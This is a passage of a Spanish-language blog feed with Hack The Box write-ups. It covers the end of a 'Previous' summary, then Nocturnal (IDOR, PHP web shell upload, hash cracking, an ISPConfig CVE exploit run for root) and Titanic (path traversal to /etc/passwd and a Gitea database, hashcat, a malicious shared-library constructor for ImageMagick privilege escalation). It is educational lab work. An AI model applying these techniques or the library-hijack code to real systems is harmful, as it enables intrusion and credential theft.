&lt;p&gt;En la máquina &lt;strong&gt;Previous&lt;/strong&gt;, realizamos una enumeración de puertos y servicios, lo que nos permitió identificar la vulnerabilidad en el framework &lt;strong&gt;Next.js&lt;/strong&gt;. A través de fuzzing, descubrimos el directorio &lt;strong&gt;api&lt;/strong&gt; y el parámetro necesario para realizar &lt;strong&gt;Local File Inclusion&lt;/strong&gt;, lo que nos llevó a obtener credenciales incrustadas en el código. Con estas credenciales, accedimos a SSH como &lt;strong&gt;jeremy&lt;/strong&gt; y obtuvimos la primera flag.&lt;/p&gt;

&lt;p&gt;El reconocimiento de después reveló que &lt;strong&gt;jeremy&lt;/strong&gt; podía ejecutar &lt;strong&gt;Terraform&lt;/strong&gt; con privilegios de administrador. Modificamos el archivo de configuración &lt;strong&gt;.terraformrc&lt;/strong&gt; para incluir un script que nos permitiera escalar privilegios. Al ejecutar este script, logramos obtener una shell con permisos de administrador, lo que nos permitió capturar la flag final.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/03c28eee-8b4a-4ac0-9601-0e036fc89aa8&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 11 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Previous</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Previous"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Previous</guid>
      </item>
    
      <item>
        <title>Nocturnal WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;

&lt;p&gt;&lt;img alt=&quot;imagen&quot; src=&quot;https://github.com/user-attachments/assets/f37ef058-cd49-4591-86d8-45bfee608c86&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nocturnal&lt;/strong&gt; es una máquina de &lt;strong&gt;Hack The Box&lt;/strong&gt; que presenta una vulnerabilidad &lt;strong&gt;IDOR&lt;/strong&gt; en una aplicación web desarrollada en &lt;strong&gt;PHP&lt;/strong&gt;. Gracias a la idor encontramos documentos privados con credenciales que permiten utilizar la app con un usuario con mas privilegios y de ahi subir una shell, obtendremos las credenciales desde una base de datos y las crackearemos para acceder al usuario &lt;strong&gt;Tobias&lt;/strong&gt; Finalmente, utilizaremos un &lt;strong&gt;CVE&lt;/strong&gt; en la aplicación &lt;strong&gt;ISPConfig&lt;/strong&gt; que nos permitirá ejecutar comandos, lo que nos llevará a obtener acceso como usuario &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Comenzaremos lanzando un escaneo con &lt;strong&gt;nmap&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;1&quot; src=&quot;https://github.com/user-attachments/assets/6132164d-191d-43fe-92f4-870598e18825&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como se puede observar, están activos el puerto &lt;strong&gt;22&lt;/strong&gt; y el puerto &lt;strong&gt;80&lt;/strong&gt;. Para acceder al servidor &lt;strong&gt;HTTP&lt;/strong&gt;, será necesario añadir la IP al archivo &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;2&quot; src=&quot;https://github.com/user-attachments/assets/58e8fb40-e45e-4bc4-9e7e-5a79363bc294&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al visitar &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://nocturnal.htb&lt;/code&gt;, llegaremos a una página principal que nos permitirá registrarnos e iniciar sesión.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;3&quot; src=&quot;https://github.com/user-attachments/assets/32c0987b-4d87-49f0-bdea-1b289daccf96&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Procedemos a registrarnos e iniciar sesión.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;4&quot; src=&quot;https://github.com/user-attachments/assets/ad84a5dc-4532-444b-a9aa-f0d99d138a62&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez redirigidos a &lt;strong&gt;/dashboard.php&lt;/strong&gt;, notamos que al intentar subir un archivo &lt;strong&gt;PHP&lt;/strong&gt;, se genera un error indicando que el formato no es válido y que solo se aceptan archivos con extensiones &lt;strong&gt;.pdf&lt;/strong&gt;, &lt;strong&gt;.doc&lt;/strong&gt;, &lt;strong&gt;.docx&lt;/strong&gt;, entre otros.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;5&quot; src=&quot;https://github.com/user-attachments/assets/fc8d08a5-45fb-4249-b67f-a89a0cff3a73&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si creamos un archivo &lt;strong&gt;PDF&lt;/strong&gt; de prueba y lo subimos, podremos descargarlo nuevamente haciendo clic en el enlace. Sin embargo, al observar el enlace, notamos que está compuesto por el nombre de usuario y el nombre del archivo.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;7&quot; src=&quot;https://github.com/user-attachments/assets/0aeb6fa9-de52-4a69-81f6-6688a38998a0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si modificamos la URL y cambiamos el parámetro &lt;strong&gt;username&lt;/strong&gt;, si el usuario no existe, aparecerá un error indicando que el archivo no existe.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;8&quot; src=&quot;https://github.com/user-attachments/assets/301bd623-cae8-4dd5-aebe-edb105880506&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con esta información, podemos enumerar los usuarios utilizando la herramienta &lt;strong&gt;ffuf&lt;/strong&gt;. Debemos añadir la URL, la palabra &lt;strong&gt;FUZZ&lt;/strong&gt; en el lugar que queremos enumerar, el diccionario y la cookie de sesión que tengamos. Como se muestra en la imagen, obtenemos muchos resultados, por lo que será necesario filtrar los resultados más relevantes.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;9&quot; src=&quot;https://github.com/user-attachments/assets/4e089894-56b1-4c0b-9e7a-f0234bd0acc7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Filtraremos por tamaño (-fs) y por palabras (-fw), logrando identificar dos usuarios: &lt;strong&gt;amanda&lt;/strong&gt; y &lt;strong&gt;john&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;11&quot; src=&quot;https://github.com/user-attachments/assets/755c4138-7702-4823-a09e-1211a1f2ea31&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al modificar la URL y colocar el usuario &lt;strong&gt;amanda&lt;/strong&gt;, podremos ver los archivos que ha subido a la plataforma, en este caso, &lt;strong&gt;privacy.odt&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;12&quot; src=&quot;https://github.com/user-attachments/assets/cf301f71-db02-49a7-8a5b-fda580447e2a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al descargarlo, encontraremos su contraseña.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;13&quot; src=&quot;https://github.com/user-attachments/assets/13e707a6-3a14-4f85-8f22-1efda3fe6ce3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si accedemos a su cuenta, podremos ingresar al panel de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;14&quot; src=&quot;https://github.com/user-attachments/assets/42ce8741-5e5a-4968-8a29-64597409faaf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Desde aquí, podemos crear copias de seguridad, así que utilizaremos una contraseña de prueba y crearemos una.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;15&quot; src=&quot;https://github.com/user-attachments/assets/6827600c-88d8-49c2-bb52-8d8a9b7eb0c6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez finalizado, intentamos controlarlo mediante una inyección de código, pero recibimos un error de “intentar otra contraseña”, lo que impide la ejecución de código.&lt;/p&gt;

&lt;p&gt;Otra función del panel de administrador es la opción de ver el código fuente. En el archivo &lt;strong&gt;admin.php&lt;/strong&gt;, podremos observar cuáles son los caracteres que no podemos utilizar.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/20966e96-024f-45e5-823e-82fe746fbbd8&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Con esta información, podemos crear un archivo &lt;strong&gt;shell&lt;/strong&gt; y, utilizando la herramienta &lt;strong&gt;curl&lt;/strong&gt;, realizaremos una petición para subir la shell que hemos creado previamente.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;17&quot; src=&quot;https://github.com/user-attachments/assets/0018b438-9779-43d7-8e22-004f1da2125d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;18&quot; src=&quot;https://github.com/user-attachments/assets/d67b1475-c719-4dfb-9bfc-3dd4e8eebf29&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora, con &lt;strong&gt;curl&lt;/strong&gt;, podremos ejecutar la shell y establecer una conexión remota con la máquina como el usuario &lt;strong&gt;www-data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;19&quot; src=&quot;https://github.com/user-attachments/assets/182e25db-ca9f-423a-835e-5694256f0f07&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al realizar una búsqueda rápida en el sistema, encontraremos la base de datos &lt;strong&gt;nocturnal_database.db&lt;/strong&gt;. Con la herramienta &lt;strong&gt;sqlite3&lt;/strong&gt;, accederemos y obtendremos las credenciales hasheadas.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;20&quot; src=&quot;https://github.com/user-attachments/assets/7ddab7d2-0190-465d-b45b-4e17b9c051a4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Utilizando la herramienta &lt;strong&gt;john&lt;/strong&gt;, podremos crackear el hash del usuario &lt;strong&gt;Tobias&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;21&quot; src=&quot;https://github.com/user-attachments/assets/93541a4f-b12b-44fc-98c9-9c552c9f7b29&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, podremos acceder al &lt;strong&gt;SSH&lt;/strong&gt; de la máquina con el usuario &lt;strong&gt;Tobias&lt;/strong&gt; y obtener la primera flag de la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;22&quot; src=&quot;https://github.com/user-attachments/assets/ebae5620-1f9c-4964-a653-cb46a4e96334&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;Al realizar una enumeración completa de la máquina, observamos que el puerto &lt;strong&gt;8080&lt;/strong&gt; está abierto en la interfaz local.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;23&quot; src=&quot;https://github.com/user-attachments/assets/a2930f74-4429-4aba-8edd-fe648f23d884&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con esta información, redirigiremos este puerto a nuestra máquina para poder acceder a él.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;24&quot; src=&quot;https://github.com/user-attachments/assets/57ab2227-92e9-4ae8-a391-82736cdc30d1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;En este puerto, se está ejecutando un panel de control de &lt;strong&gt;ISPConfig&lt;/strong&gt;. Podemos iniciar sesión como &lt;strong&gt;admin&lt;/strong&gt; utilizando la contraseña que hemos crackeado del usuario &lt;strong&gt;Tobias&lt;/strong&gt;. Una vez dentro, en la sección de “ayuda”, podremos ver la versión del programa.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;26&quot; src=&quot;https://github.com/user-attachments/assets/fc1b5d0f-7338-48b5-b98b-30cddfb58abe&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Conociendo la versión utilizada, podemos buscar exploits y pruebas de concepto que podamos utilizar contra la máquina. Utilizaremos &lt;a href=&quot;https://github.com/bipbopbup/CVE-2023-46818-python-exploit&quot;&gt;CVE-2024-46818&lt;/a&gt; del usuario &lt;strong&gt;bipbopbup&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;27&quot; src=&quot;https://github.com/user-attachments/assets/4a13413d-97e3-4db5-9511-5513c0b85df2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al ejecutar el exploit, obtendremos una shell interactiva como el usuario &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Esto ocurre porque la carpeta donde opera &lt;strong&gt;ISPConfig&lt;/strong&gt; pertenece al usuario &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;28&quot; src=&quot;https://github.com/user-attachments/assets/322a1b0d-6a5a-499a-9dd5-43c6837fb197&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Además, el usuario &lt;strong&gt;ispconfig&lt;/strong&gt; también existe en el sistema.&lt;/p&gt;

&lt;p&gt;&lt;img alt=&quot;29&quot; src=&quot;https://github.com/user-attachments/assets/e57ef4cc-411a-4339-856b-d7f33cc7bcae&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;

&lt;p&gt;A través de este proceso, hemos logrado escalar privilegios desde un usuario normal hasta obtener acceso como &lt;strong&gt;root&lt;/strong&gt; en la máquina &lt;strong&gt;Nocturnal&lt;/strong&gt;. Espero que os haya gustado esta publicación y nos vemos en la siguiente.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8df78f31-0843-408b-a89c-c8e58f58d7cd&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 20 Aug 2025 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Nocturnal</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Nocturnal"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Nocturnal</guid>
      </item>
    
      <item>
        <title>Titanic WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;

&lt;p&gt;Hoy analizaremos la máquina &lt;strong&gt;Titanic&lt;/strong&gt; de &lt;strong&gt;Hack The Box&lt;/strong&gt;, que es una máquina fácil con sistema operativo &lt;strong&gt;Linux&lt;/strong&gt;. En la fase de reconocimiento, identificaremos los puertos &lt;strong&gt;22&lt;/strong&gt; (SSH) y &lt;strong&gt;80&lt;/strong&gt; (HTTP). Posteriormente, realizaremos un &lt;strong&gt;path traversal&lt;/strong&gt; en el directorio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt;, lo que nos permitirá acceder a archivos sensibles, como por ejemplo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt;. Más adelante, descubriremos que hay una instancia de &lt;strong&gt;Gitea&lt;/strong&gt; desplegada en un subdominio de la máquina, desde donde podremos extraer el archivo de configuración de Gitea, que nos llevará a una base de datos &lt;strong&gt;SQLite&lt;/strong&gt; con los hashes de los usuarios. Utilizando &lt;strong&gt;hashcat&lt;/strong&gt;, lograremos descifrar la contraseña del usuario “developer” y accederemos a través de &lt;strong&gt;SSH&lt;/strong&gt;. Para el escalado de privilegios, encontraremos un proceso de &lt;strong&gt;ImageMagick&lt;/strong&gt; ejecutándose como &lt;strong&gt;root&lt;/strong&gt;. Finalmente, inyectaremos una librería maliciosa para obtener la &lt;strong&gt;flag&lt;/strong&gt; de root.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1400&quot; height=&quot;1138&quot; alt=&quot;imagen&quot; src=&quot;https://github.com/user-attachments/assets/a26f3f37-75e2-490a-bdda-cb158f597cc0&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Usando &lt;strong&gt;nmap&lt;/strong&gt;, detectaremos dos puertos abiertos: &lt;strong&gt;SSH&lt;/strong&gt; y &lt;strong&gt;HTTP&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;837&quot; height=&quot;463&quot; alt=&quot;1&quot; src=&quot;https://github.com/user-attachments/assets/dcf72a87-9c55-420f-8363-7946329ed7c3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El puerto &lt;strong&gt;80&lt;/strong&gt; nos redirige a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;titanic.htb&lt;/code&gt;. Utilizaré &lt;strong&gt;ffuf&lt;/strong&gt; para buscar subdominios, y solo encontraremos el subdominio &lt;strong&gt;dev.titanic.htb&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1082&quot; height=&quot;428&quot; alt=&quot;2&quot; src=&quot;https://github.com/user-attachments/assets/93850014-8323-4d68-98de-614c9324e84b&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Por lo tanto, añadiremos estos dos dominios al archivo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;titanichtb&quot;&gt;titanic.htb&lt;/h2&gt;

&lt;p&gt;&lt;img width=&quot;1037&quot; height=&quot;75&quot; alt=&quot;3&quot; src=&quot;https://github.com/user-attachments/assets/e65e40e5-7ace-4bd6-bd86-2c6252cd3edd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al acceder al puerto &lt;strong&gt;80&lt;/strong&gt; de la máquina, observaremos que se trata de una compañía de cruceros.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1920&quot; height=&quot;835&quot; alt=&quot;4&quot; src=&quot;https://github.com/user-attachments/assets/7f65b57a-592f-47af-b999-81947741949f&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ninguno de los enlaces de la página nos lleva a algún sitio útil, pero el botón de &lt;strong&gt;“Book Now”&lt;/strong&gt; hace que aparezca una encuesta.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;495&quot; height=&quot;555&quot; alt=&quot;5&quot; src=&quot;https://github.com/user-attachments/assets/8a4a959d-ef74-43d4-a1e6-53b7c8cb7497&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si completamos la encuesta y pulsamos el botón de &lt;strong&gt;“Submit”&lt;/strong&gt;, se nos devolverá un archivo &lt;strong&gt;JSON&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;521&quot; height=&quot;353&quot; alt=&quot;6&quot; src=&quot;https://github.com/user-attachments/assets/32aee567-99a1-4051-a463-9a26a7b657be&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;482&quot; height=&quot;159&quot; alt=&quot;7&quot; src=&quot;https://github.com/user-attachments/assets/ef938fc8-eced-4d4a-b600-574a4d5142e4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Utilizando la extensión de navegador &lt;strong&gt;Wappalyzer&lt;/strong&gt;, podremos identificar las tecnologías que están funcionando en el sitio web.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;495&quot; height=&quot;527&quot; alt=&quot;8&quot; src=&quot;https://github.com/user-attachments/assets/70120545-c3e1-47a5-9cfc-18d042b521ae&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;devtitanichtb&quot;&gt;dev.titanic.htb&lt;/h2&gt;

&lt;p&gt;Al acceder, veremos que tiene instalado &lt;strong&gt;Gitea&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1915&quot; height=&quot;842&quot; alt=&quot;10&quot; src=&quot;https://github.com/user-attachments/assets/b0cc38e3-b7da-4dc4-a0d5-aa3d1df23cbe&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Explorando, encontraremos dos repositorios públicos: &lt;strong&gt;docker-config&lt;/strong&gt; y &lt;strong&gt;flask-app&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1920&quot; height=&quot;428&quot; alt=&quot;11&quot; src=&quot;https://github.com/user-attachments/assets/89b9d569-1e2b-44a7-b79c-3161b0811b6e&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;docker-config&quot;&gt;docker-config&lt;/h3&gt;

&lt;p&gt;En el repositorio, podremos encontrar una contraseña de la base de datos en el código sin cifrar.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1357&quot; height=&quot;591&quot; alt=&quot;12&quot; src=&quot;https://github.com/user-attachments/assets/237ef911-283b-47ca-950e-a4bd1edc3156&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;flask-app&quot;&gt;flask-app&lt;/h3&gt;
&lt;p&gt;Este repositorio contiene el código fuente de &lt;strong&gt;titanic.htb&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1918&quot; height=&quot;771&quot; alt=&quot;13&quot; src=&quot;https://github.com/user-attachments/assets/51c31397-a8cd-4853-b9a1-6c426fa1dd01&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lo interesante de este repositorio es que nos muestra el funcionamiento del dominio. El directorio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/book&lt;/code&gt; realiza una petición &lt;strong&gt;POST&lt;/strong&gt;, guarda los datos en un archivo y redirige a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt; utilizando ese nombre.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;625&quot; height=&quot;379&quot; alt=&quot;14&quot; src=&quot;https://github.com/user-attachments/assets/4ef73d13-96df-4a9e-beac-d36f6b2dce20&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El directorio &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt; pasa una constante &lt;strong&gt;TICKETS_DIR&lt;/strong&gt; (que se establece en “tickets” al principio del archivo) y el parámetro de entrada del usuario a &lt;strong&gt;os.path.join&lt;/strong&gt;, luego verifica si el archivo resultante existe y lo envía.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;692&quot; height=&quot;303&quot; alt=&quot;15&quot; src=&quot;https://github.com/user-attachments/assets/9cd65136-d9bb-49b4-9911-1aab143dd035&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;Cuando hacemos una petición a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/book&lt;/code&gt;, nos redirige a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt;. Este directorio utiliza el parámetro &lt;strong&gt;ticket&lt;/strong&gt; para devolvernos el archivo &lt;strong&gt;JSON&lt;/strong&gt;. Como he resuelto varias máquinas, sé que este tipo de parámetros puede llevar a una vulnerabilidad de lectura de archivos.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1592&quot; height=&quot;876&quot; alt=&quot;16&quot; src=&quot;https://github.com/user-attachments/assets/9c307593-ae8d-45d9-a92a-7f4fa694d8d5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como se puede observar en la siguiente imagen, si cambiamos el valor por un archivo interno de la máquina, podremos leer el archivo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt;. Poder acceder a este archivo es peligroso, ya que nos permite listar todos los usuarios que existen en la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1592&quot; height=&quot;872&quot; alt=&quot;17&quot; src=&quot;https://github.com/user-attachments/assets/87bcc2bd-f9fa-4e66-a963-03e7c0d03e7f&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sabiendo esto y revisando el código fuente que encontramos anteriormente, podremos listar la base de datos.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1599&quot; height=&quot;882&quot; alt=&quot;18&quot; src=&quot;https://github.com/user-attachments/assets/e0219207-3d04-4f0a-823f-c6dc0e0defef&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora simplemente podemos descargarla utilizando &lt;strong&gt;curl&lt;/strong&gt; y analizarla después con la herramienta &lt;strong&gt;sqlite3&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;838&quot; height=&quot;91&quot; alt=&quot;19&quot; src=&quot;https://github.com/user-attachments/assets/d4c1ad06-34c6-4d6e-82e0-2164aa44d0ad&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;453&quot; height=&quot;430&quot; alt=&quot;20&quot; src=&quot;https://github.com/user-attachments/assets/8d28944e-c1eb-4ef7-92c8-f148a6375eeb&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si listamos todos los datos de la tabla &lt;strong&gt;user&lt;/strong&gt;, obtendremos los hashes de los usuarios.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1894&quot; height=&quot;213&quot; alt=&quot;21&quot; src=&quot;https://github.com/user-attachments/assets/0a1fdcfa-81ca-4b8f-8a60-127e1750d7a6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con &lt;strong&gt;hashcat&lt;/strong&gt;, podremos crackear los hashes obtenidos anteriormente para acceder al &lt;strong&gt;SSH&lt;/strong&gt; con el siguiente comando:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat basedatos.db /usr/share/wordlists/rockyou.txt &lt;span class=&quot;nt&quot;&gt;--user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;![[23.png]]&lt;/p&gt;

&lt;h1 id=&quot;escalado-de-privilegios&quot;&gt;Escalado de privilegios&lt;/h1&gt;
&lt;p&gt;Una vez conectados por &lt;strong&gt;SSH&lt;/strong&gt; a la máquina como “developer”, encontraremos en su directorio la primera &lt;strong&gt;flag&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1118&quot; height=&quot;714&quot; alt=&quot;24&quot; src=&quot;https://github.com/user-attachments/assets/90dc34ae-6794-4c15-95ec-17a733df2bab&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Realizando un reconocimiento básico de la máquina con los privilegios del usuario “developer”, encontraremos un script llamado &lt;strong&gt;identify_images.sh&lt;/strong&gt;. Con esto, descubriremos que la herramienta &lt;strong&gt;ImageMagick&lt;/strong&gt; está instalada en la máquina. &lt;strong&gt;ImageMagick&lt;/strong&gt; es un programa que permite editar imágenes digitales.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;872&quot; height=&quot;67&quot; alt=&quot;25&quot; src=&quot;https://github.com/user-attachments/assets/93220006-5c57-4b69-a192-398368084655&quot; /&gt;&lt;/p&gt;

&lt;p&gt;La versión instalada es &lt;strong&gt;7.1.1-35&lt;/strong&gt;, que presenta vulnerabilidades. Podemos buscar una prueba de concepto para escalar privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1069&quot; height=&quot;119&quot; alt=&quot;27&quot; src=&quot;https://github.com/user-attachments/assets/a03dfce7-e716-41ec-a6b9-3769f5a61a23&quot; /&gt;&lt;/p&gt;

&lt;p&gt;He encontrado esta prueba de concepto con una búsqueda rápida.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc &lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt; c &lt;span class=&quot;nt&quot;&gt;-shared&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fPIC&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; ./libxcb.so.1 - &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

__attribute__((constructor)) void init(){
    system(&quot;id&quot;);
    exit(0);
}
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;La modificamos para que nos proporcione una &lt;strong&gt;shell&lt;/strong&gt; con los privilegios de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;795&quot; height=&quot;147&quot; alt=&quot;30&quot; src=&quot;https://github.com/user-attachments/assets/30b981ac-063f-4a99-9ee5-29dcfbbc06b0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si la ejecutamos, generará un archivo que nos otorgará la &lt;strong&gt;shell&lt;/strong&gt; con los privilegios de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img width=&quot;1162&quot; height=&quot;370&quot; alt=&quot;31&quot; src=&quot;https://github.com/user-attachments/assets/368e1ec3-f2ff-4d25-ac6e-5866ef3cc5f1&quot; /&gt;&lt;/p&gt;

